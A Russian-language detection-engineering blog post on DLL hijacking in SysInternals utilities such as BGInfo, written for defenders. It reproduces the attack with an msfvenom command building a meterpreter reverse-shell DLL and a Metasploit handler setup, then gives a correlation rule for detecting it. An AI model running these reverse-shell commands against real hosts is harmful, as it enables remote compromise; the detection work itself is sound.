Продолжаем серию статей — Detection is easy, посвященных Detection engineering (DE), о чем я пишу в одноименном Telegram-канале. Многие администраторы и SOC-аналитики активно используют инструменты из набора SysInternals. Исследователь обнаружил, что большинство этих инструментов уязвимы к загрузке вредоносных DLL в память.
Описание уязвимостей
Уязвимость связана с загрузкой DLL из текущего рабочего каталога (CWD) инструментами Sysinternals. Для эксплуатации необходимо разместить исполняемый файл и вредоносную DLL в одной директории.
Для примера возьмем, BGinfo.exe, в оригинале статьи автор использует TextShaping.dll. Полный список уязвимых утилит доступен по ссылке.
На скриншоте выше видно, что процесс пытается загрузить TextShaping.dll в текущей рабочей директории.
Для эксперимента, отключаем Defender, включаем msfconsole, генерируем dll следующей командой.
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.0.10 lport=5555 -f dll > shell.dll
Разместим созданную DLL со скачанным BGInfo в одной папке.
На атакующей машине создадим handler для meterpreter.
use exploit/multi/handler set payload windows/x64/meterpreter_reverse_tcp set lport 5555 set lhost 192.168.0.10 run
Двойным кликом нажимаем на Bginfo64.exe и получаем reverse shell.
Некорректно настроенные права на директории, где хранятся утилиты SysInternals, могут позволить злоумышленнику записать DLL, что может привести к повышению привилегий и компрометации хоста. На скриншоте ниже демонстрация запуска Bginfo из сетевого хранилища WebDAV — эксплуатация уязвимости закончилась успешно.
Обнаружение атаки
Логику обнаружения напишем на языке XP.
Будем обнаруживать на основе двух событий: запуск процесса и загрузка библиотеки в память.
event CreateProcess: key: event_src.host, object.process.id, object.process.path filter { filter::NotFromCorrelator() and filter::ProcessStart_Windows_any() and regex(lower(object.process.meta), "sysinternals", 0) != null } event LoadLibrary: key: event_src.host, subject.process.id, object.process.path filter { filter::NotFromCorrelator() msgid == 7 and event_src.title == "sysmon" and regex(lower(object.process.fullpath), "^\w:\\windows\\system32", 0) == null and in_list(["textshaping.dll", "cryptbase.dll", "mpr.dll", "cryptsp.dll"], lower(object.process.name)) } rule ExploitVulnSysinternals: CreateProcess -> LoadLibrary
В первой директиве event CreateProcess добавил условие, что продукт должен быть sysinternals, во второй директиве LoadLibrary — DLL должна быть расположена не в system32, ее название должно быть из списка импортируемых DLL.
Уязвимость DLL Hijacking в инструментах SysInternals представляет серьезную угрозу, так как позволяет злоумышленникам загружать вредоносные библиотеки. В заключение, важно не только понимать механизмы эксплуатации уязвимостей, но и активно внедрять эффективные методы их обнаружения. Регулярный аудит прав доступа к директориям, мониторинг запуска процессов и загрузки библиотек помогут минимизировать риски и повысить уровень защиты инфраструктуры.
ссылка на оригинал статьи https://habr.com/ru/articles/879306/
Добавить комментарий